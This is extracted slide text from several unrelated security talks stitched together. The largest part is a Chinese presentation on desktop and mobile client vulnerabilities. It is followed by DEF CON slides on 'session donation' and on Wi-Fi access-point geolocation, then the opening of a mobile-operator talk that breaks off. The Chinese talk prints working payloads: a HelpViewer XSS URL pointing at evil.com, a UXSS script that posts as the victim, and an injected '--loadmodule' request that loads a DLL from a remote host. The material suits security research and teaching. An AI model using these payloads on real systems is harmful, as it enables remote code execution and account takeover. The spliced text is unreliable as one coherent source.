> GET /json HTTP/1.1
> Host: evil.com:12345
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length:912
< Content-Type:application/json; charset=UTF-8
<
[{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA",
"id": "51CC21EE-2FC2-4434-923A-68E7852665BA",
"title": "example",
"type": "page",
"url": "https://example.com/",
"webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA"
}]
调试协议
• Chrome DevTools Protocol 整个基于 WebSocket
• https://chromedevtools.github.io/devtools-protocol/
• WebSocket 默认不限制同源策略
• evil.com 的 js 只需要拿到随机的 UUID 就可以调试本地客户端的 Web
消息格式
• 基于 JSON stringify
• ⽅法名，id 和参数
• id 是⼀个⾃增的整数，区分消息的序列和判断某个消息的响应
let counter = 13371337;
const send = (method, params) => new Promise((resolve, reject) => {
const id = counter++;
const recv = ({ data }) => {
const parsed = JSON.parse(data);
if (parsed.id === id) {
resolve(parsed.result);
ws.removeEventListener('message', recv);
} else {
log('message: ', data);
}
};
ws.addEventListener('message', recv);
ws.send(JSON.stringify({ id, method, params }));
});
const remoteDoc = await send('DOM.getDocument');
脚本注⼊
• Runtime.evaluate ⽅法可以注⼊ js
• 对于⽼的 Chromium 版本，该命令存在失效问题
• 可以使⽤ DOM.setOuterHTML 操作 DOM 注⼊脚本
信息泄漏
• 获取 Cookie：Network.getAllCookies
• Chrome 内核⽀持列⽬录
• Page.navigate 访问 file://c/users
• 查询 DOM 获取⽂件列表和进⼀步读⽂件
• 在客户端当中展示钓⻥⻚⾯
转为 RCE
• CEF 通常⽐ Chrome 落后⼀些（⼤量）版本
• 找公开的 v8 漏洞利⽤进⾏适配
• 使⽤ CEF 的客户端通常是 hybrid 应⽤
• window.external 存在 native 接⼝
• native 接⼝可能存在逻辑代码执⾏问题
• ⽂件下载、运⾏外部程序等
• 需要额外的逆向⼯作
案例
• ⼤量客户端使⽤同⼀框架导致 CEF dns rebinding
• WebView 业务代码处理导航事件⽤了 ShellExecuteW
• 简单使⽤ window.open 就能弹计算器
window.open('file:///C:/windows/system32/calc.exe')
• 组合其他接⼝下载执⾏任意命令
• VSCode 曾出现类似漏洞
• Electron 可以直接调⽤ node.js 运⾏时执⾏任意本地代码
修复
• ⽣产环境中切忌启⽤调试功能
• nodejs, Electron 和 CEF 在近期的版本中修复了 DNS rebinding
• DNS rebinding 需要恶意域名配合
• 当 Host 头异常的时候终⽌访问请求
macOS HelpViewer XSS
URL Scheme
• 桌⾯和移动操作系统从 Web 拉起本地应⽤的接⼝
• 远程攻击⾯
• 通常浏览器切换前会弹出提示
• macOS Safari 硬编码了⼀部分 URL scheme 直接放⾏
signed __int64 __cdecl -[ExternalURLNavigationHandler _URLTypeForURL:]
(ExternalURLNavigationHandler *self, SEL a2, id url)
{
NSString *scheme = [url scheme];
if ([scheme safari_isCaseInsensitiveEqualToString:@"mailto"])
{
status = 1LL;
}
else
{
if ( !urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes )
{
NSArray *arr = [NSArray arrayWithObjects:
@"itms-books", @"itms-bookss", @"ibooks", @"macappstore", @"macappstores",
@"radr", @"radar", @"udoc", @"ts", @"st", @"x-radar", @"icloud-sharing",
@"help", @"x-apple-helpbasic" count:19];
urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes = [NSSet
setWithArray:arr];
}
HelpViewer
HelpViewer
• HelpViewer 的 help: 协议在信任列表
• 已有历史漏洞通过⼀个 XSS 就可以远程执⾏代码
• 可惜没修复完
CVE-2020-9860
HelpViewer 沙箱逃逸
• 导出协议除了 help:// 之外，还有 x-apple-helpbasic:// 也被信任
• 协议格式为紧接任意 *.apple.com 的⻚⾯
• x-apple-helpbasic://www.apple.com/aaa
• 将协议 scheme 替换为 https 然后在 HelpViewer 中打开
• https://www.apple.com/aaa
• 找⼀个 apple.com 的 open redirect 或者 xss？
Apple web server notifications
This article provides credit to people who have reported potential security issues in Apple's web
servers.
Credits
2021-03-09 swagger.organicfruitapps.com
A server configuration issue was addressed. We would like to acknowledge Joseph Thacker for reporting this
issue.
2021-03-09 pd-mediaauth.apple.com
A server configuration issue was addressed. We would like to acknowledge Ahmed (@4hm8d) for reporting
this issue.
2021-03-08 myevents-rno.apple.com
https://support.apple.com/en-is/HT201536
Apple 历史 Web 漏洞致谢列表，可以搜集⼤量⼦域名
24⼩时
⼿⼯找⼀个 xss
• 没有 xray 和任何扫描器
• ⼿⼯查看源⽂件审计和测试
// see if an alternate content set has been passed in
if (controller.queryParams.contentURL) {
controller.queryParams.contentURL +=
(controller.queryParams.contentURL.charAt(controller.queryParams.contentURL.length)
== "/" ? "" : "/");
// check whether there is a loadable Info.json file at the passed-in location
$.ajax({
type: "HEAD",
async: false,
crossDomain: false,
url: controller.queryParams.contentURL + "Info.json",
success: function () {
controller.contentURL = controller.queryParams.contentURL;
},
error: function () {
console.log("Could not load " + controller.queryParams.contentURL);
}
});
}
dataController.loadData = function () {
var folder = localizationController.localePath();
// read in content.json
$.ajax({
url: folder + "content.json",
dataType: "json",
async: false,
crossDomain: false,
success: function (json, status, xhr) {
jsonStructure = json[0];
DOM XSS
• 根据 contentURL 拼接 Info.plist 的地址
• 没有任何域名限制，只需要⽀持 CORS
• Info.plist 为⼀个 JSON array，标记⽂档可⽤的 locale
• 根据语⾔载⼊国际化的数据 content.json
• 例如 en，则继续载⼊ /English.lproj/content.json
// this is a content page
var targetIDContent = dataController.getContentForObjectWithID(targetID);
// add the new content
$content.append(targetIDContent); // <-- DOM XSS
[
{
"content": {
"apd00AB7903-79D8-4AD5-9CC2-F423F9A5D835": {
"alternativeName": "CardDAV settings",
"content": "<script>alert(/hacked by edwardzpeng/);</script>",
"name": "CardDAV settings",
"summary": ""
}
}
}
]
x-help-basic://help.apple.com/<省略>/?lang=en&contentURL=//evil.com/
#apd00AB7903-79D8-4AD5-9CC2-F423F9A5D835
/Info.json
/English.lproj/contentjson-version.txt
/English.lproj/content.json
利⽤
• 在 macOS Mojave 或更早版本上结合 NFS 可以全盘读⽂件
• 可惜和 help: 不是同⼀个 WebView，不⽀持 AppleScript
• 可以打开本地除 file:/// 之外任意 URL scheme
• 差⼀点就可以弹计算器了
• 这个 WebView 没有沙箱，但是也没有 JIT
• 任何 DOM 漏洞都可以直接获取完整远程代码执⾏权限
• 例如之前打过 Pwn2Own 的 SQLite
某 iOS App 跨应⽤获取 cookie
app://webview?url=http://example.com
http://example.com
app://webview?url=http://example.com
Bug
• app:// 协议可在 App WebView 中打开指定 URL
• 限定了 example.com
• 由于历史遗留需求，资产⾥有⼀个解析到本地的域名
• localhost.example.com -> 127.0.0.1
• 以上是两个毫不相⼲的业务
• app://webview?url=http://localhost.example.com
http://localhost.example.com
app://webview?url=http://localhost.example.com
http://localhost.example.com
恶意 App
http://127.0.0.1
利⽤
• iOS 允许监听 80（http 默认）端⼝
• 其他主流系统需要 sudo 或管理员
• 在本地开⼀个 http 服务，使⽤系统 API 允许⾃身后台运⾏
• ⽤ app://webview?url=http://localhost.example.com 跳转到受害 App
• 受害 App 访问恶意 App 的⽹⻚
• 由于⽹址满⾜ *.example.com
• 可以读取到⼀级域名下的 cookie
• 并允许调⽤ native bridge 执⾏更多敏感功能
iOS WebView UXSS
WebView
• UIWebView 默认允许 allowUniversalAccessFromFileURLs
• 只要从 file:/// 域加载可控的 HTML 即可造成 UXSS
• 读取 app 任意⽂件以及访问任意远程 http 地址
• 场景：私信或⽹盘的共享⽂件、HTML 格式的电⼦书、邮件附件、浏览器、系
统 Files ⽂件关联等处的⽂件预览
• 早被玩烂了
<meta name="referrer" content="never">
<script type="text/javascript">
function inject() {
var form = new FormData();
form.append('content', 'hello world!');
form.append('st', window.config.st);
var xhr = new XMLHttpRequest();
xhr.onload = function() { /* 发送成功 */};
xhr.open('POST', 'https://****/api/statuses/update');
xhr.send(form);
}
document.addEventListener('DOMContentLoaded', function (event) {
const iframe = document.createElement('iframe');
iframe.setAttribute('src', 'https://****/compose/');
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-popups
allow-modals');
iframe.onload = function() { iframe.contentWindow.eval('!' + inject + '()'); };
document.body.appendChild(iframe);
});
</script>
某社交⽹络 iOS 官⽅客户端
私信发送点开即中
另⼀种类 UXSS
• WebView 暴露接⼝向特定域名⻚⾯添加额外功能
• 通常需要鉴权
• 以域名为粒度
• 如果鉴权出现问题？
• 如何从 UIWebView 获得当前⽹
址？
• StackOverflow 上，最容易搜索
到的答案是通过 js 的返回值
• window.location
• 可靠吗？
•原⽣只读对象可以被 js 劫持
•曾是 Chrome 和 WebKit 通
⽤的技巧
•Chrome 系已修复，然⽽截
⽌撰写本 talk 的 2021 年6
⽉，最新的 Safari 仍然可⽤
漏洞
• location 对象默认只读
• 截⽌ 2021 年 6 ⽉ 24 ⽇，Safari ⽤的 JavaScriptCore 仍然允许覆盖
window.location
• 在全局作⽤域声明⼀个函数 function location() {} 即可⾃动提升，直接替换
window.location 为⾃定义变量
• WebView 读取到的 URL 可能被劫持成任意字符串
• 包括各种变体 location.href、location.toString() 等
案例
• ⼀短视频 App 可以在私信、群组中发送链接
• 曾经使⽤ UIWebView 并存在 location 劫持 bug
• WebView 提供了⼀组 API ⽤于访问当前登录的账户
• 鉴权使⽤了具有安全隐患的 js
• 恶意⽹⻚直接返回可信域名造成绕过
• 任意⽹⻚均可访问⽤户 token
思考
• 漏洞原因是 JavaScriptCore 处理变量作⽤域的⾏为
• 同时影响 UIWebView 和 WKWebView
• 但通常只有⽤了 UIWebView 的 App 会出现此类问题
思考
• UIWebView 历史悠久，⽹上有很多陈旧的资料误导⼈
• 通常 iOS 开发者不喜欢⽤异步函数，需要考虑线程切换等麻烦的问题
• UIWebView 的 stringByEvaluatingJavaScriptFromString 直接阻塞返回
• 对应 WKWebView 是异步回调
• UIWebView 正规的获取地址⽅式存在 bug
• webview.request.URL.absoluteString 在⻚⾯有多个资源请求时返回的不是主⽂档
• 更好的⽅式是在 webViewDidFinishLoad 事件使⽤ webview.request.mainDocumentURL
• WKWebView 很简单：webView.URL
AppStore 审核⽬前
已禁⽌使⽤ UIWebView
2020 年 10 ⽉的 Pull Request
• WKWebView 仍然可以启⽤不安全
的 UXSS 选项
• 即使彻底淘汰 UIWebView 还是有
出 bug 的可能
某视频客户端远程 dll 注⼊
URL scheme 参数注⼊
• Windows 下的 URL Scheme 和运⾏命令⽤了同⼀个 API ShellExecute
• URL scheme 协议关联由于历史原因不能处理好引号闭合问题
• 存在参数注⼊⻛险
• 如 Electron 的 CVE-2018-1000006
proto://
electron.exe "%1"
electron.exe "proto://%1"
electron.exe "proto://" --no-sandbox ""
参数注⼊
if (_wstricmp(arg[i], L”-loadmodule", 0) != -1) {
handle = LoadLibraryExW(arg[i + 1], 0, 8u);
lpFunc = GetProcAddress(handle, "**_LoadModule_WinMain");
// ...
}
判断 loadmodule 选项，有则加载 DLL
live://" --loadmodule "evil.dll"
• 从浏览器跳转本地应⽤会弹窗确认
• 静默的⼊⼝？
本地 HTTP 服务
从 Web 拉起客户端
C:\Users\haha>curl http://localhost:12345/getinfo -v
> GET /getinfo HTTP/1.1
> Host: localhost:11066
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html
< Server: LocalWeb Server
< Content-Length: 64
< Accept-Ranges: bytes
< Access-Control-Allow-origin: *
< Connection: close
<
clientinfo({"ver" : "10.12.2789.0" , "_ver" : 50180920})
JSONP + 通配符 CORS
任意浏览器任意⽹站均可访问
本地 HTTP 服务
从 Web 拉起客户端
http://127.0.0.1:12345/startclient?cmd=live://
• 转换成 URL scheme 唤起客户端
• 存在 bug，⽆法正确处理 encodeURLComponent
• 闭合参数的半⻆引号会变成 %22，⽆法注⼊
本地 HTTP 服务
从 Web 拉起客户端
http://127.0.0.1:12345/pullclientjpg?cmd=live://
• 修复了 URL 编码的接⼝，完美触发
利⽤
• LoadLibrary 可以加载本地路径
• 在 Windows 下使⽤ UNC path 可以访问远程⽂件
• \\hostname\path\to.dll
• 协议
• SMB
• WebDAV
利⽤
处理 DllMain 的 DLL_PROCESS_ATTACH 事件即可
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// post exploit
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
两种共享协议对⽐
• SMB
• 由于多次被滥⽤（蠕⾍等），在公
⽹上被过滤
• Windows 资源管理器开启⽂件共
享即可
• 也可以使⽤ samba 等开源服务器
• WebDAV
• 基于 HTTP 协议扩展
• IIS ⽀持，但配置稍微麻烦
• 建议使⽤ Python 实现的
• http://github.com/wolf71/
TinyWebDav
最终利⽤
http://127.0.0.1:12345/pullclientjpg?cmd=live://%22%20-
loadmodule%20%22%5C%5Cexample.com%5Chaha%5Cevil.dll%22%20%22
触发⽅式
• 浏览器 1click
• 打开恶意⽹⻚，⽹⻚通过任意标签向 127.0.0.1 发起 URL 请求即可
• 甚⾄不需要 javascript
• 远程 0click
• 本地服务实际开在 0.0.0.0 上导致可以局域⽹访问
• 处在可达的同⼀⽹络内且知道对⽅ IP 即可
⼩结
⼩结
• 案例分析了⼏个不同平台的客户端软件漏洞
• 攻击⾯
• URL scheme
• 桌⾯端的开放端⼝
• 特别是 http 服务
• 难以简单分类的 bug
• 发散性的条件组合
感谢聆听 | pdf |
Session Donation
Alek Amrani
DEF CON 17
About me
• Alek Amrani
• Longhorn Lockpicking
Club
• UT Austin CS
Undergrad
• UT Austin ISO
• Alek Amrani
• Longhorn Lockpicking
Club
• UT Austin CS
Undergrad
• UT Austin ISO
This Talk
• TURBO TRAC
• Not a lot of time, so
brevity is the name of
the game
• Presenting an Idea,
as well as the thought
process behind the
formation of the idea
• Questions /
Comments /
Whatnot
• Time planned at end
for this
Background Info
• Session ID (SID)
Attack
• Session Hijacking
• Session Fixation
• Cross-Site Scripting
• Cross-Site Cooking
• Countermeasures
exist
Background Info
• Some common countermeasures taken to
prevent session hijacking
• Use of a long random session key
• Regeneration of SID
• Encrypted transmissions
• Secondary Checks
• Limiting by IP Address, etc.
• Changing SID often
Session Donation
• What is ‘Session Donation’
• Exactly what it sounds like.
• Donating your SID to someone else.
• Very similarly to Session Fixation
• You need to “fix” the victim’s session to a particular ID
• Many Session Fixation countermeasures won’t
work
• Only accepting server generated ID’s from a cookie
• Regenerating SIDs
• Etc.
• It’s much easier to give someone your identity
rather than stealing theirs
Session Donation
• Are you Insane? Why would I give my info
away...
• Example Scenario:
• Joe logs into a service and deletes the stored information
• Joe ‘donates’ his session to Jim
• Joe tells Jim there were problems earlier, and he’ll need
to re-enter his information
• Jim goes to the page, and inputs his information and
• saves it
• Joe can now login as himself, and has Jim’s information
Session Donation
• Issues do exist
• User does not have to login
• PEBKAC
• User training, if any, is usually geared toward being cautious
when authenticating
• 'Single Login' Setups
• Cooperations, Universities, etc.
• Connection does not need to be interrupted for this attack
vector
• SSL Certs still valid
Session Donation
• Requirements for Attack
• Attacker must be able to obtain a SID
• If the attacker can login/use the service, the attacker can
obtain a SID
• Potentially a large group
• Attacker needs a way to give away their SID
• Cross Site Cooking
• Session Fixation
• MITM
• Easier to fix a value with these methods than to steal a
value
Session Donation
• Why this is dangerous
• Many 'Session Hijacking' countermeasures won't
work effectively
• The victim is being given a valid SID
• Many Session Fixation defenses just stop attackers from
authenticating with a fixed SID
• Can you prevent someone from giving away their
identity?
• Can you prevent someone from authenticating as
themselves, after giving away their identity?
Session Donation
• Session Hijacking Prevention may even make
session donation “safer” for the attacker
• The attacker will be able to invalidate the “donated”
session once the attack has been completed,
preventing the victim from removing their stolen
information
Prevention
• Hard, but not impossible to prevent
• The attacker isn’t attacking the SID, but the fact
that the SID exists, and is used for authentication
• Prevent XSS
• Large (largest?) percentage of web vulnerabilities
• Use a different SID generation method
• IP Address check implemented with SID generation and
authentication
• Use hash of IP as part of SID generation
• Authentication takes place by regenerating SID and comparing
Questions and Comments
• Ready...GO
• Fun story about the 'about me' image
• Unanswered questions and whatnot, you can
probably catch me in the Lockpicking Village
Additional Info
• These slides, as well as more info will be
available via:
obsinisize.com
• I can be reached at:
[email protected] | pdf |
5/10/2007
DEFCON 15
1
GeoLocation of Wireless
Access Points &
“Wireless GeoCaching”
Presented By: Rick Hill
7/6/2007
DEFCON 15
2
The Problem: 802.11b Geo-Location
•
Researchers have documented at least 4 Techniques for
Geo-Location of Wireless Access Points (APs)1
•
Netstumbler doesn’t Geo-Locate –> It simply gives the
Driver’s GPS Position.
•
Netstumbling & GeoCaching Compared:
Wardrivers don’t locate AP’s with the same intent that
GeoCachers find Caches; they’re content to simply find
New Networks. GeoCaching, in contrast, is all about
Precise Location…
•
What if we could combine the two?
Consider a New Sport: “Wireless GeoCaching”
7/6/2007
DEFCON 15
3
What’s GeoCaching?
•
Wikipedia:
-
GeoCaching is an outdoor treasure-hunting
game in which the participants use a Global
Positioning System (GPS) receiver or other
navigational techniques to hide and seek
containers (called “GeoCaches" or "caches").
-
Typical Cache - a small waterproof container
containing a logbook & "treasure," usually
toys or trinkets of little monetary value.
7/6/2007
DEFCON 15
4
Project Goals
•
Our Goals:
-
Build an Automated 802.11b Tracking Device
using OTS Components
-
Test Device in a Controlled Environment (the
Lake)
-
Participate in “Wireless GeoCaching” Game:
Geo-Locate hidden AP’s & Caches using
Netstumbler and Radio Direction Finding
(RDF) techniques.
7/6/2007
DEFCON 15
5
Project Concept
•
Of the 4 DF Methods ->
-
Received Signal Strength Indication (RSSI) +
Angle of Arrival (AOA) + Triangulation is easiest
to Implement
•
Our Platform: Sea Ray Boat
•
Location: Lake Anna, VA
•
Equipment:
-
Hardware - 15 Db YAGI Antenna, Stepping Motor &
Controller, Digital Compass, GPS, Dell Laptop
-
Software – XP, Netstumbler 0.4.0, Visual Basic 5.0
7/6/2007
DEFCON 15
6
Agenda
•
Background – Why is Wireless Tracking so
Hard???
•
4 Techniques – Advantages / Disadvantages
•
Building the Tracker (HW/ SW)
•
Static Test with a Known AP
•
Wireless GeoCaching
•
Accuracy compared to other Techniques
7/6/2007
DEFCON 15
7
Why So Difficult?
•
Spread Spectrum Technology - DSSS hops
many x/sec. and covers a 22 Mhz Bandwidth
•
Spread Spectrum designed by the Military to
look like Background Noise (Very Low Power)
•
Must wait on Beacon Frames & Probe Frames
•
2.4 Ghz Radio Propagation Subject to:
-
Multipath Inteference
-
Scattering Interference, (Trees & Buildings)
7/6/2007
DEFCON 15
8
4 DF Techniques
•
Radio Direction Finding (RDF)
•
Received Signal Strength Indication (RSSI) +
Angle of Arrival (AOA) + Triangulation
•
Doppler Direction Finding
•
Time of Arrival (TOA) & Time Difference of
Arrival (TDOA)
7/6/2007
DEFCON 15
9
Radio Direction Finding (RDF)
•
Very Simple – Point a directional antenna in
the proper direction & Maximize Signal
•
Advantages:
-
Low Cost
-
Can be done Manually (aim the Cantenna.) Duh!
•
Disadvantages:
-
Accuracy limited to Antenna Beamwidth & Rotor
System Mechanics
-
Can’t Geo-Locate –> Simply guides you in the
Right Direction (Sort of)
7/6/2007
DEFCON 15
10
RSSI + AOA + Triangulation
•
A step up from simple RDF: Given >= 2
locations (fixes), target position follows by
Triangulation:
Law of Sines
• AP Target located @ A.
• Boat takes 2 Fixes, giving angles B & C.
• Side a = GPS distance B -> C.
• Distance to Target follows from the Law of Sines.
7/6/2007
DEFCON 15
11
Doppler Direction Finding (DDF)
•
DDF systems employ 4 + Antennas & use the
Doppler effect to derive AOA & Distance
Advantages:
Better for moving Targets
More accurate Speed Calculation
Disadvantage:
Equipment is very expensive:
Professional 2.4 Ghz RDF rig
costs approx. $3,000
7/6/2007
DEFCON 15
12
Time of Arrival (TOA) & Time Difference
of Arrival (TDOA)
•
Similar to Doppler: Electronically calculated from
Multiple Antennas
•
Examples:
-
Cellular Tower Signal Location
-
People Tracking via RFID & WiFi (AeroScout.com)
-
CISCO 2710 Wireless Location Appliance
•
Advantage:
-
Excellent with known Cell Towers or AP’s
•
Disadvantages:
-
May not be as Accurate
-
Requires Existing Infrastructure
7/6/2007
DEFCON 15
13
Building the Wireless Tracker
•
Our Tracking Device will look a lot like the Radar
Antennas seen on Navy Ships
•
It Consists of:
-
Stepper Motor for 360 deg. Rotation (1)
-
Stepping Motor Controller (1)
-
Laser Pointer (1)
-
Miniature 15 Db. YAGI Antenna (1)
-
Mounting Pole and Plate - For mounting 7’ above the Boat
Deck (1)
-
Digital Compass and GPS (1 each)
•
Hardware shown next slide…
7/6/2007
DEFCON 15
14
Building the Tracker - Hardware
7/6/2007
DEFCON 15
15
Building the Wireless Tracker cont’d
•
First: The stepper motor must be mounted on a stable,
flat surface. For our project this is a 7” x 7” square
LEXAN sheet. LEXAN sheet is held 2.5” above the
Boat table by 4 Hex Bolts
•
Drill 4 holes for motor mount & 4 holes for the
LEXAN stepper motor “tabletop”
7/6/2007
DEFCON 15
16
Building the Wireless Tracker cont’d
•
2nd: Mount the Antenna with ½” aluminum
strip to Stepping Motor shaft. Note Brass
coupler w/ 2 set screws that mount directly to
the motor
7/6/2007
DEFCON 15
17
Building the Wireless Tracker cont’d
•
Third: Hook up the parallel printer (control) cable
to the Laptop. Carefully wire the Stepper motor to
the Control Board as shown below. Use Outputs 1-4
for the 4 phases… Note there are a total of 6 wires
on this UniPolar Motor (5 & 6 go to Ground)
7/6/2007
DEFCON 15
18
Building the Wireless Tracker cont’d
•
Fourth: Test the stepping Motor & verify proper
operation with the included Program
StepperV6.EXE. Note: Our motor steps @ 7.5
degrees/ step. So, 48 steps = 1 Revolution = 1
Compass Rose. Screen Shot:
7/6/2007
DEFCON 15
19
Building the Wireless Tracker cont’d
•
Final Step: Mount the Compass & (optional) Laser
Pointer just above and pointing in exactly the same
direction as the YAGI antenna. Connect between
Output 12 and GND of the Control Board.
•
The Laser pointer can be used at night to Illuminate
Target AP & Direction once Max Signal Strength
found.
7/6/2007
DEFCON 15
20
Building the Wireless Tracker cont’d
•
Finished Tracker Mounted on Sea Ray Boat:
7/6/2007
DEFCON 15
21
So, Why a Stepper Motor?
•
Stepper Motors achieve very Precise Control
of Angular Rotation
•
No Feedback Loop Required
•
Repeatable Control allows them to be used in
floppy Disk Drives & Flatbed Scanners
•
Can be salvaged from old Floppy drives & used in
projects like this:
http://www.epanorama.net/circuits/diskstepper.html)
7/6/2007
DEFCON 15
22
Stepper Motor Operation
•
Stepper Motors Rotate by Energizing Phases 1-4 in
sequence. Source: Wikipedia
Mag
1- Magnet (1) is charged,
attracting the topmost four
teeth of sprocket.
2- Magnet (1) turned off,
Magnet (2) charged, pulling
four teeth to the right. This
results in a rotation of 3.6°
3- Magnet (2) off, (3)
on, another 3.6 deg.
rotation; Repeat for
Phases 3-4…
7/6/2007
DEFCON 15
23
And the Antenna Selection?
•
YAGI Antenna - Very Directional with High Front
to Back ratio. Practically, this means no 180 deg.
mistakes in Direction Finding (DF)
•
Perfect Pattern for DF and weighs only 2.9 oz
7/6/2007
DEFCON 15
24
Building the Tracker - Software
•
PCMCIA Card – Senao 2511 with Prism Chipset
•
Front-End Monitoring via Netstumbler 0.4.0
•
Netstumbler Script: Given an AP SSID as the
Target, Script captures the Signal Strength readings
on Fast Scan & writes them to a file
7/6/2007
DEFCON 15
25
Building the Tracker - Software
•
Visual Basic: Back-end VB program controls both
Stepper Motor rotation & getting Signal Strength
from the NS Script file. (VB Code included as a
separate file.)
FOR Step = 1 to 100
‘ 360 Degree Scan
If rev1.Value = False Then ‘REVERSE OR FORWARD
Call stepper_move(1, Val(steps1.Text)) ‘FORWARD
Else
Call stepper_move(1, -Val(steps1.Text)) ‘REVERSE
End If
Next Step
7/6/2007
DEFCON 15
26
Software – Programming Sequence
[1] Boat cruises looking for Target AP (Omni Antenna)
[2] VB Code displays Splash Screen “Target Acquired”
[3] Switch Input to Directional Antenna
[4] Scan 360 deg. in 7.5 deg. & 3.75 deg. Increments
[5] Average 3 RSSI readings / step
[6] Save MAX Reading & Angle
[7] Point Antenna @ Target, Illuminate Laser
[8] Save GPS Coordinates, MAX Reading & Angle
[9] Calculate Target AP Position given 2 or more fixes
7/6/2007
DEFCON 15
27
Sorties
•
8 Sorties over 2 days:
-
1 Static Test on Land
-
4 against AP’s with Known GPS Positions
-
2 GeoCaching Games
-
1 against an Unknown AP (Not visible LOS)
7/6/2007
DEFCON 15
28
Static Test with a Land-Based AP
7/6/2007
DEFCON 15
29
Lake Anna: WIGLE.Net
• Apparently, None of the Drivers own Boats, Go Figure?
• AP’s currently mapped @ Lake Anna, VA:
7/6/2007
DEFCON 15
30
Scan Result: Island1-F2
Note the Bell Curve & Signal Lock
7/6/2007
DEFCON 15
31
Calculations – Inverse & Forward
INVERSE Program – Distance between 2 pts.
FORWARD Program – Distance & Angle to Target
http://www.ngs.noaa.gov/TOOLS/Inv_Fwd/Inv_Fwd.html
7/6/2007
DEFCON 15
32
2nd Sortie – Anna Point Marina
Next: Wireless GeoCaching –> Searching for
Hidden AP’s
7/6/2007
DEFCON 15
33
Wireless GeoCaching
•
Let the Games Begin!:
•
Setup:
-
2 teams of Two -
-
1st Team drops a Black Bucket containing
the AP & GeoCache Treasure on shore.
• Rules: Within 100 ft. of shoreline & < 5
miles from the Marina
-
2nd Team: Finds AP with the Scanner
7/6/2007
DEFCON 15
34
Wireless GeoCaching
•
Pictures / Video of Wireless GeoCaching
•
Slide Show - ~ 5 min.
Picture Break
7/6/2007
DEFCON 15
35
Sortie 7 - GeoCache Found:
SilverFox
7/6/2007
DEFCON 15
36
RDF Challenges - SilverFox
Required 3 Scans – Signal vanished @ F2
7/6/2007
DEFCON 15
37
Sortie 8: AP Unknown Location
SSID: default
7/6/2007
DEFCON 15
38
Eustace Drive AP
Triangulation - Possible 3 houses on Eustace Drive
7/6/2007
DEFCON 15
39
“The” House
Subsequent Scan finds the exact House, SSID (default)
7/6/2007
DEFCON 15
40
GeoLocation – Result Summary
#1- Land Test
35
#5 – Anna Pt.
100
#2 – AP Bridge
234
#6- State Park
(GeoCache)
110
#3 – Island 1
54
#7- SilverFox
(GeoCache)
DR
#4 – Island1 LP
109
#8- Unknown AP
(See Picture)
Error (m)
#/ Location
Average Error: 107 m
Error (m)
#/ Location
AVG Distance - Target: 750 m
7/6/2007
DEFCON 15
41
Accuracy Comparison
GPS GeoCaching
GPS Standard
10
GPS
WAAS
2
Netstumbler
GPS Receiver
Only
1000
(Vehicle Position)
Wireless
GeoCaching
GPS with
RDF
Triangulation
107
Method
Accuracy (meters)
7/6/2007
DEFCON 15
42
Comparison to Other Methods
•
1st – Wireless GeoCaching Game was played
under almost Ideal Conditions:
-
Clear Line of Sight
-
No traffic (other than 1 or 2 Boats).
-
Virtually No Multipath Interference
•
GeoLocation in an Urban environment would
not work as well.
7/6/2007
DEFCON 15
43
RDF - More Art than Science
•
Largely responsible for defeat of German U-
Boats in the Atlantic WWII (Huff-Duff)
•
Works best with Acute triangles
•
With experience you get really good @ this!
(Caches are a nice bonus)
•
Recommend – 1st find target w/ trianglation.
Then, simply scan closer & closer
Wireless GeoCaching -> Its all about the Hunt!
7/6/2007
DEFCON 15
44
Safety Warning
•
WARNING: The as-built version of the Scanner
utilizing a Senao 200 mw high-power card produces
an EIRP of 4 watts (the maximum legal limit)
•
While within FCC limits, radiation exposure limits
state you should stay at least 36 inches away from
ANY Beam antenna and operate the scanner such
that it does not point at any vehicle occupants. (see
ARRL on the web for more info.)
•
Never operate a Laser such that it points directly at
another person, (eyes).
7/6/2007
DEFCON 15
45
Questions?
[email protected]
Device Demo
7/6/2007
DEFCON 15
46
References1
•
“Database Correlation Method for Multi-System
Location”, Paul Kemppi, Helsinki University, 8/2005
•
“Indoor Propogation Modeling @ 2.4 Ghz for IEEE
802.11 Networks”, Dinesh Tummala, University of
North Texas, 12/2005
•
“Wireless Support Positioning using Support Vector
Machines”, Philipp Schloter, Stanford University,
7/2006
•
“A Practical Approach to Identifying & Tracking
Unauthorized 802.11 Cards & Access Points”,
Interlink Networks, 2002
7/6/2007
DEFCON 15
47
Parts List & Suppliers
•
MFJ Enterprises MFJ-1800 15db Antenna,
mfjenterprises.com
•
Brunton Nomad V2 Digital Compass,
thecompassstore.com
•
DigiKey 7.5 deg. Stepping Motor, #403-1010-ND,
digikey.com
•
Stepper Motor & Analog/ Digital Controller,
gadgetmasterII, pcgadgets.com
•
Laptop with Visual Basic 5.0 or later & Netstumbler
0.4.0 intstalled
•
Magellan GPS 315
•
Laser Pointer (generic) | pdf |
Business logic flaws in
mobile operators services
B o g d a n A l e c u
Bogdan ALECU
About me
Independent security researcher
Sysadmin
Passionate about security, specially when it’s
related to mobile devices; started with NetMonitor
(thanks Cosconor), continued with VoIP and finally
GSM networks / mobile phones
@msecnet / www.m-sec.net
Bogdan ALECU
GOALS
o SIM Toolkit: what is it, how can we
exploit it
o Understanding of business logic
flaws in mobile operators services
o What you should do in order to
protect from these attacks
Bogdan ALECU
TOPICS
1. SIM TOOLKIT
2. HTTP HEADERS
3. DATA TRAFFIC VULNERABILITY
4. THE EXTRA DIGIT
5. SUMMARY
Bogdan ALECU
THE BUGGY WORLD
SIM
1 TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
For sending Ringtones, operator logo,
concatenated messages, SMS makes use
of the User Data Header
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
SIM
TOOLKIT
1
Example of SIM Toolkit icon on your mobile device
Bogdan ALECU
THE BUGGY WORLD
SIM
